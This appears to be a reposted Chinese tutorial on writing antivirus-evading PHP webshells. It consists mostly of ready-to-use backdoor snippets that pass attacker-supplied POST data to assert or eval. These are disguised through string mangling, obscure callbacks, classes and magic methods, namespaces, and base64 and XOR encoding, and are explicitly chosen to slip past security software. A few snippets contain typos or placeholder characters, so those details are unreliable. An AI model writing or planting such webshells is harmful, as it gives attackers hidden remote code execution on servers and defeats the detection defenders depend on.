php免杀webshell
原文地址:https://xz.aliyun.com/t/5152?spm=5176.12901015.0.i12901015.3268525cyJqgGL
eval函数中参数是字符 eval('echo 1;');
assert函数中参数为表达式 (或者为函数)assert(phpinfo()); assert不能执行普通代码
字符串变形
1 ucwords() //函数把字符串中每个单词的首字符转换为大写。 2 ucfirst() //函数把字符串中的首字符转换为大写。 3 trim() //函数从字符串的两端删除空白字符和其他预定义字符。 4 substr_replace() //函数把字符串的一部分替换为另一个字符串 5 substr() //函数返回字符串的一部分。 6 strtr() //函数转换字符串中特定的字符。 7 strtoupper() //函数把字符串转换为大写。 8 strtolower() //函数把字符串转换为小写。 9 strtok() //函数把字符串分割为更小的字符串 10 str_rot13() //函数对字符串执行 ROT13 编码。
例如
1 <?php 2 $a = substr_replace("assexx","rt",4); 3 $a($_POST['x']); 4 ?>
定义函数绕过
1 <?php 2 function kdog($a){ 3 $a($_POST['x']); 4 } 5 kdog(assert); 6 ?>
反过来
1 <?php 2 function kdog($a){ 3 assert($a); 4 } 5 kdog($_POST[x]); 6 ?>
回调函数
1 call_user_func_array() 2 call_user_func() 3 array_filter() 4 array_walk() 5 array_map() 6 registregister_shutdown_function() 7 register_tick_function() 8 filter_var() 9 filter_var_array() 10 uasort() 11 uksort() 12 array_reduce() 13 array_walk() 14 array_walk_recursive()
回调函数大部分已经被安全软件加入黑名单,所以找到一个生僻的不常用的回调函数来执行,例如
<?php forward_static_call_array(assert,array($_POST[x]));?>
回调函数变形
定义一个函数
1 <?php 2 function test($a,$b){ 3 array_map($a,$b); 4 } 5 test(assert,array($_POST['x'])); 6 ?>
定义一个类
1 <?php 2 class loveme { 3 var $a; 4 var $b; 5 function __construct($a,$b) { 6 $this->a=$a; 7 $this->b=$b; 8 } 9 function test() { 10 array_map($this->a,$this->b); 11 } 12 } 13 $p1=new loveme(assert,array($_POST['x'])); 14 $p1->test(); 15 ?>
字符干扰
1 <?php 2 $a = $_POST['a']; 3 $b = "\n"; 4 eval($b.=$a); 5 ?>
命名空间免杀
1 <?php 2 function dog($a){ 3 \assert($a); 4 } 5 dog($_POST[x]); 6 ?>
数组
1 <?php 2 $a = substr_replace("assexx","rt",4); 3 $b=[''=>$a($_POST['q'])]; 4 ?>
多维数组
1 <?php 2 $b = substr_replace("assexx","rt",4); 3 $a = array($arrayName = array('a' => $b($_POST['q']))); 4 ?>
搭配魔术方法比如 __destruct()
,__construct()
1 <?php 2 3 class me 4 { 5 public $a = ''; 6 function __destruct(){ 7 8 assert("$this->a"); 9 } 10 } 11 12 $b = new me; 13 $b->a = $_POST['x']; 14 15 ?>
编码绕过
base64_decode
1 <?php 2 $a = base64_decode("YXNz+ZX____J____0"); 3 $a($_POST[x]); 4 ?>
异或
1 <?php 2 $a= ("!"^"@").'ssert'; 3 $a($_POST[x]); 4 ?>
无字符特征马
异或,编码方式
1 <?php 2 $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; 3 $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; 4 $___=$$__; 5 $_($___[_]); // assert($_POST[_]);
利用正则匹配字符 如Tab等 然后转换为字符
利用POST包获取关键参数执行
1 <?php 2 $decrpt = $_POST['x']; 3 $arrs = explode("|", $decrpt)[1]; 4 $arrs = explode("|", base64_decode($arrs)); 5 call_user_func($arrs[0],$arrs[1]); 6 ?>
在php7.1后面我们已经不能使用强大的assert函数了用eval将更加注重特殊的调用方法和一些字符干扰,后期大家可能更加倾向使用大马